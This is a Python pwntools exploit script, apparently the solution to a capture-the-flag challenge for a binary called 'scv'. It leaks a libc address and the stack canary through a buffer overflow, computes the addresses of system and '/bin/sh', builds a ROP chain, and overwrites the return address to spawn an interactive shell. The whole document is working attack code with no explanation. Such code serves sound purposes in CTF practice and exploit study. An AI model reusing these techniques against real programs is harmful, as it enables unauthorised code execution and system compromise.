from pwn import *
libc = ELF('./libc-2.23.so')
p = process("./scv", env={'LD_PRELOAD':'./libc-2.23.so'})

# Leaking libc and everything needed for ROP
payload_can = 'A'*39
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('>>')
p.sendline(payload_can)
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('[*]PLEASE TREAT HIM WELL.....\n-------------------------\n')
lollibc = p.recvuntil('\n-------------------------', drop=True)
libcleak = lollibc.split('\n')[1].ljust(8, '\x00')
val_libc = u64(libcleak)
system = val_libc + 0xb0f7
libc_base = system - libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
log.info("Leaked Libc 0x%x" %val_libc)
log.info("system 0x%x" % system)
log.info("libc_base 0x%x" % libc_base)
log.info("binsh 0x%x" % binsh)

# Create ROPChain with it
popret = 0x400ea3
ropc = ''
ropc += p64(popret)
ropc += p64(binsh)
ropc += p64(system)

# Leaking canaries
payload_can = 'A'*168
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('>>')
p.sendline(payload_can)
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('[*]PLEASE TREAT HIM WELL.....\n-------------------------\n')
lolcanary = p.recvuntil('\n-------------------------', drop=True)
x = lolcanary.find('\n')
canaries = lolcanary[x:x+8].replace('\n', chr(0), 1)
val_canaries = u64(canaries)
log.info("Leaked Canary 0x%x" %val_canaries)

payload = 'A'*168+p64(val_canaries)+'B'*8+ropc

# one last time
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('>>')
p.sendline(payload)

# Trigger
print p.recvuntil('>>')
p.sendline('3')
print p.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...')
p.interactive()
p.close()
